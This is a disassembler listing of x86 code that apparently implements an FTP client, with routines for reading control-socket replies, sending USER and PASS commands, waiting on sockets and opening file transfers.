; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 64E89051h
		dd 83778133h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	near ptr 77C46125h
		nop
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 0C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 447404h, 8091ADE8h, 0C4839077h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473F468h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71F46807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
		dd 83F08B77h, 0F33B08C4h, 0EC681E75h, 90004473h, 809145E8h
		dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		jo	short near ptr byte_42E5AA
		inc	esp
		add	al, ch
		mov	ch, 88h
		xor	byte ptr [edi-70h], 83h
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474B8
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B0 ; jumptable 0042E641 case 1
		mov	dl, byte_4474B4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474A8 ; jumptable 0042E641 case 2
		mov	cl, byte_4474AC
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A0 ; jumptable 0042E641 case 3
		mov	al, byte_4474A4
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_447498 ; jumptable 0042E641 case 4
		mov	dl, byte_44749C
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


